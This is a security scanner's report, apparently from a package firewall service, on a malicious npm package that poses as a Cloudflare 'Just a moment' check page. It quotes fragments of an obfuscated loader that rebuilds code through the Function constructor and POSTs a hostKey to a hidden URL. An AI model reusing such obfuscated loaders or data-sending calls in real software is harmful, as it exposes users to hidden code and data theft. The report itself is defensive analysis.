luftmvfiwgxydes@1.0.0: Malicious npm security report (Block)

Loading npm security reports…

luftmvfiwgxydes@1.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

9 flagged

182} L183: (function(_0x4eb5bf,_0x56208f){const _0x548ab2={_0x240785:0x18,_0x18a91d:0xd7,_0x2f1613:0x71,_0x15cd55:0x16,_0x75d235:0x27,_0x165e58:0x252,_0x584ac0:0x1de,_0x4cbbe6:0x12d,_0x5f19e6...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

7<title>Just a moment...</title>

High

Ai Review Evidence

The page impersonates Cloudflare's Just a moment challenge and loads Turnstile from challenges.cloudflare.com.

index.htmlView on unpkg · L7

9<link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>

High

Ai Review Evidence

The page impersonates Cloudflare's Just a moment challenge and loads Turnstile from challenges.cloudflare.com.

index.htmlView on unpkg · L9

183function _0x25d4(){const _0x1b0c9d=['CMv0DxjUicHMDq','psjODhrWCZOVlW','C2v0qxr0CMLIDq','EwvKihDOAwXLia'

High

Ai Review Evidence

Packed string-table code hides the real logic behind an obfuscated IIFE.

index.htmlView on unpkg · L183

183try{const _0x17ba48=_0x2d3090[_0x41df55(-_0x1eb9b9._0x4a39fa,-_0x1eb9b9._0x5cb5f6,_0x1eb9b9._0x58e6ea,-0x4e)](Function,_0x2d3090[_0x41df55(-_0x1eb9b9._0x563a90,-0x11d,-_0x1eb9b9._0x35f764,-_0x1eb9b9._0x385308)](_0x2d3090[_0x100503(-_0x1eb9b9._0xb1ba71,-0x96,-_0x1eb9b9._0x353795,-_0x1eb9b9._0x339d33)](_0x2d3090[_0x100503(-_0x1eb9b9._0x7cb1f7,-_0x1eb9b9._0x46e30c,-_0x1eb9b9._0x47d526,-_0x1eb9b9._0x1b7a17)],_0x2d3090['XbBZb']),');'));

High

Ai Review Evidence

Reconstructed strings are passed to the Function constructor so hidden JavaScript can run in the page.

index.htmlView on unpkg · L183

183'lsrFg':'https://ap'+_0x487df2(0x48f,_0x5e9af2._0x512dd9,_0x5e9af2._0x438264,_0x5e9af2._0x3c4b07)+_0x459d65(_0x5e9af2._0x348d8c,0xcf,0xe1,0x3f)

High

Ai Review Evidence

The script POSTs a hostKey object to a reconstructed URL that starts with https://ap.

index.htmlView on unpkg · L183

183const _0x1ceffa={};_0x1ceffa['key']=hostKey;const _0x3bff15=await _0x2d3090[_0x576e79(-_0x4e25be._0x5793aa,_0x4e25be._0x4f960b,-_0x4e25be._0x341572,-_0x4e25be._0x303709)](fetch,_0x2d3090['lsrFg'],{'method':'POST','headers':{'Content-Type':_0x2d3090['GQvrX']},'body':JSON['stringify'](_0x1ceffa)})

High

Ai Review Evidence

The script POSTs a hostKey object to a reconstructed URL that starts with https://ap.

index.htmlView on unpkg · L183

package.jsonView file

1{ "name": "luftmvfiwgxydes", "version": "1.0.0", "main": "index.html", "files": [ "index.html" ] }

High

Ai Review Evidence

The published package is a random-named HTML-only artifact whose main file is index.html, with no library API or description.

package.jsonView on unpkg · L1

Source & flagged code

9 flagged · loading source

index.htmlView file

182} L183: (function(_0x4eb5bf,_0x56208f){const _0x548ab2={_0x240785:0x18,_0x18a91d:0xd7,_0x2f1613:0x71,_0x15cd55:0x16,_0x75d235:0x27,_0x165e58:0x252,_0x584ac0:0x1de,_0x4cbbe6:0x12d,_0x5f19e6...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

7<title>Just a moment...</title>

High

Ai Review Evidence

The page impersonates Cloudflare's Just a moment challenge and loads Turnstile from challenges.cloudflare.com.

index.htmlView on unpkg · L7

9<link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>

High

Ai Review Evidence

The page impersonates Cloudflare's Just a moment challenge and loads Turnstile from challenges.cloudflare.com.

index.htmlView on unpkg · L9

183function _0x25d4(){const _0x1b0c9d=['CMv0DxjUicHMDq','psjODhrWCZOVlW','C2v0qxr0CMLIDq','EwvKihDOAwXLia'

High

Ai Review Evidence

Packed string-table code hides the real logic behind an obfuscated IIFE.

index.htmlView on unpkg · L183

High

Ai Review Evidence

Reconstructed strings are passed to the Function constructor so hidden JavaScript can run in the page.

index.htmlView on unpkg · L183

183'lsrFg':'https://ap'+_0x487df2(0x48f,_0x5e9af2._0x512dd9,_0x5e9af2._0x438264,_0x5e9af2._0x3c4b07)+_0x459d65(_0x5e9af2._0x348d8c,0xcf,0xe1,0x3f)

High

Ai Review Evidence

The script POSTs a hostKey object to a reconstructed URL that starts with https://ap.

index.htmlView on unpkg · L183

High

Ai Review Evidence

The script POSTs a hostKey object to a reconstructed URL that starts with https://ap.

index.htmlView on unpkg · L183

package.jsonView file

1{ "name": "luftmvfiwgxydes", "version": "1.0.0", "main": "index.html", "files": [ "index.html" ] }

High

Ai Review Evidence

The published package is a random-named HTML-only artifact whose main file is index.html, with no library API or description.

package.jsonView on unpkg · L1

Source & flagged code

9 flagged

index.htmlView file

182} L183: (function(_0x4eb5bf,_0x56208f){const _0x548ab2={_0x240785:0x18,_0x18a91d:0xd7,_0x2f1613:0x71,_0x15cd55:0x16,_0x75d235:0x27,_0x165e58:0x252,_0x584ac0:0x1de,_0x4cbbe6:0x12d,_0x5f19e6...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L182

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

7<title>Just a moment...</title>

High

Ai Review Evidence

The page impersonates Cloudflare's Just a moment challenge and loads Turnstile from challenges.cloudflare.com.

index.htmlView on unpkg · L7

9<link rel="preconnect" href="https://challenges.cloudflare.com" /> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>

High

Ai Review Evidence

The page impersonates Cloudflare's Just a moment challenge and loads Turnstile from challenges.cloudflare.com.

index.htmlView on unpkg · L9

183function _0x25d4(){const _0x1b0c9d=['CMv0DxjUicHMDq','psjODhrWCZOVlW','C2v0qxr0CMLIDq','EwvKihDOAwXLia'

High

Ai Review Evidence

Packed string-table code hides the real logic behind an obfuscated IIFE.

index.htmlView on unpkg · L183

High

Ai Review Evidence

Reconstructed strings are passed to the Function constructor so hidden JavaScript can run in the page.

index.htmlView on unpkg · L183

183'lsrFg':'https://ap'+_0x487df2(0x48f,_0x5e9af2._0x512dd9,_0x5e9af2._0x438264,_0x5e9af2._0x3c4b07)+_0x459d65(_0x5e9af2._0x348d8c,0xcf,0xe1,0x3f)

High

Ai Review Evidence

The script POSTs a hostKey object to a reconstructed URL that starts with https://ap.

index.htmlView on unpkg · L183

High

Ai Review Evidence

The script POSTs a hostKey object to a reconstructed URL that starts with https://ap.

index.htmlView on unpkg · L183

package.jsonView file

1{ "name": "luftmvfiwgxydes", "version": "1.0.0", "main": "index.html", "files": [ "index.html" ] }

High

Ai Review Evidence

The published package is a random-named HTML-only artifact whose main file is index.html, with no library API or description.

package.jsonView on unpkg · L1

luftmvfiwgxydes@1.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code